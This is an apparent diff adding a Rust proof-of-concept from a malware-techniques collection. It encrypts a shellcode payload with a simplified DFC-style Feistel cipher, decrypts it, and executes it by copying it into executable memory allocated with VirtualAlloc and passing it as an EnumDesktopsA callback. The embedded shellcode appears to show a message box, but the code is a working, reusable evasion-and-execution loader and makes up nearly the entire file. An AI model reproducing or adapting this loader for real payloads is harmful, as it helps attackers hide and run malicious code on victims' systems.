DFC Encryption in Rust

Author: Whitecat18

Encryption Methods/dfc_algorithm.rs

@@ -0,0 +1,194 @@
+/* 
+    Rust DFC Encrypyion Techniques
+    Description Encrypt and execute payload using DFC Algorithm.
+    Original POC and Credits goes to Cocomelonc: https://cocomelonc.github.io/malware/2024/11/10/malware-cryptography-34.html
+    @5mukx
+*/
+
+
+use std::ptr;
+use winapi::shared::minwindef::LPVOID;
+use winapi::um::memoryapi::VirtualAlloc;
+use winapi::um::winnt::RtlMoveMemory;
+use winapi::um::winnt::MEM_COMMIT;
+use winapi::um::winnt::PAGE_EXECUTE_READWRITE;
+use winapi::um::winuser::EnumDesktopsA;
+use winapi::um::winuser::GetProcessWindowStation;
+
+const ROUNDS: usize = 8;
+const BLOCK_SIZE: usize = 16;
+
+// subkeys generated from the main key
+static mut K: [[u8; 16]; ROUNDS] = [[0; 16]; ROUNDS];
+
+// rotate left func
+fn rot_l(x: u32, shift: u32) -> u32{
+    (x << shift) | (x >> (32 - shift))
+}
+
+// function f for DFC round  
+fn f(left: u32, key_part: u32) -> u32{
+    rot_l(left.wrapping_add(key_part), 3) ^ key_part
+}
+
+// DFC G function applies Feistel structure in each round
+
+fn g(left: &mut u32, right: &mut u32, round_key: &[u8]) {
+    let temp_right = *right;
+    *right = *left ^ f(*right, u32::from_ne_bytes(round_key[0..4].try_into().unwrap()));
+    *left = temp_right;
+}
+
+// key schecule for DFC
+fn key_schedule(key: &[u8]) {
+    unsafe {
+        for i in 0..ROUNDS {
+            for j in 0..16 {
+                K[i][j] = key[j % 8] ^ (i as u8 + j as u8);
+            }
+        }
+    }
+}
+
+// DFC Encryption 
+fn dfc_encrypt(block: &mut [u32; 2], _key: &[u8]) {
+    let (mut left, mut right) = (block[0], block[1]);
+
+    unsafe {
+        for i in 0..ROUNDS {
+            g(&mut left, &mut right, &K[i]);
+        }
+    }
+
+    block[0] = right;
+    block[1] = left;
+}
+
+// DFC decryption function
+fn dfc_decrypt(block: &mut [u32; 2], _key: &[u8]) {
+    let (mut left, mut right) = (block[0], block[1]);
+
+    unsafe {
+        for i in (0..ROUNDS).rev() {
+            g(&mut left, &mut right, &K[i]);
+        }
+    }
+
+    block[0] = right;
+    block[1] = left;
+}
+
+// encrypt shellcode
+fn dfc_encrypt_shellcode(shellcode: &mut [u8], key: &[u8]) {
+    key_schedule(key);
+    for chunk in shellcode.chunks_exact_mut(BLOCK_SIZE) {
+        let mut block = [u32::from_ne_bytes(chunk[0..4].try_into().unwrap()), 
+                         u32::from_ne_bytes(chunk[4..8].try_into().unwrap())];
+        dfc_encrypt(&mut block, key);
+        chunk[0..4].copy_from_slice(&block[0].to_ne_bytes());
+        chunk[4..8].copy_from_slice(&block[1].to_ne_bytes());
+    }
+}
+
+// decrypt shellcode 
+fn dfc_decrypt_shellcode(shellcode: &mut [u8], key: &[u8]) {
+    key_schedule(key);
+    for chunk in shellcode.chunks_exact_mut(BLOCK_SIZE) {
+        let mut block = [u32::from_ne_bytes(chunk[0..4].try_into().unwrap()), 
+                         u32::from_ne_bytes(chunk[4..8].try_into().unwrap())];
+        dfc_decrypt(&mut block, key);
+        chunk[0..4].copy_from_slice(&block[0].to_ne_bytes());
+        chunk[4..8].copy_from_slice(&block[1].to_ne_bytes());
+    }
+}
+
+fn main() {
+
+    // msgbox_shellcode
+    let shellcode: [u8; 328] = [0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,
+    0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,
+    0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,0x8b,
+    0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,
+    0x3e,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,
+    0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
+    0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,0x20,
+    0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,0x00,
+    0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,
+    0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,
+    0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,
+    0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,
+    0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,0x08,
+    0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,
+    0x01,0xd0,0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,
+    0x1c,0x49,0x01,0xd0,0x3e,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,
+    0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,
+    0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,
+    0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x3e,
+    0x48,0x8d,0x8d,0x30,0x01,0x00,0x00,0x41,0xba,0x4c,0x77,0x26,
+    0x07,0xff,0xd5,0x49,0xc7,0xc1,0x00,0x00,0x00,0x00,0x3e,0x48,
+    0x8d,0x95,0x0e,0x01,0x00,0x00,0x3e,0x4c,0x8d,0x85,0x24,0x01,
+    0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,
+    0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,
+    0x48,0x65,0x79,0x20,0x6d,0x61,0x6e,0x2e,0x20,0x49,0x74,0x73,
+    0x20,0x6d,0x65,0x20,0x53,0x6d,0x75,0x6b,0x78,0x00,0x6b,0x6e,
+    0x6f,0x63,0x6b,0x2d,0x6b,0x6e,0x6f,0x63,0x6b,0x00,0x75,0x73,
+    0x65,0x72,0x33,0x32,0x2e,0x64,0x6c,0x6c,0x00
+];  
+
+    let my_payload_len = shellcode.len();
+    
+    let pad_len = 
+        my_payload_len + (BLOCK_SIZE - my_payload_len % BLOCK_SIZE) % BLOCK_SIZE;
+    let mut padded = vec![0x90; pad_len];
+
+    padded[..my_payload_len].copy_from_slice(&shellcode);
+
+    println!("Original shellcode:");
+    
+    for byte in &shellcode {
+        print!("{:02x} ", byte);
+    }
+
+    println!("\n");
+
+    let key: [u8; 8] = [0x12, 0x34, 0x56, 0x78, 0x9A, 0xBC, 0xDE, 0xF0];
+    
+    dfc_encrypt_shellcode(&mut padded, &key);
+
+    println!("Encrypted shellcode:");
+    
+    for byte in &padded {
+        print!("{:02x} ", byte);
+    }
+    println!("\n");
+
+    dfc_decrypt_shellcode(&mut padded, &key);
+
+    println!("Decrypted shellcode:");
+    for byte in &padded[..my_payload_len] {
+        print!("{:02x} ", byte);
+    }
+    println!("\n");
+
+    // Allocate and execute decrypted shellcode
+    unsafe {
+        let mem: LPVOID = VirtualAlloc(ptr::null_mut(),
+            my_payload_len, 
+            MEM_COMMIT, 
+            PAGE_EXECUTE_READWRITE
+        );
+
+
+        if !mem.is_null() {
+            RtlMoveMemory(mem,
+                padded.as_ptr() as *const winapi::ctypes::c_void, 
+                my_payload_len
+            );
+            EnumDesktopsA(GetProcessWindowStation(), 
+            std::mem::transmute(mem),
+            0,
+        );
+        }
+    }
+}
+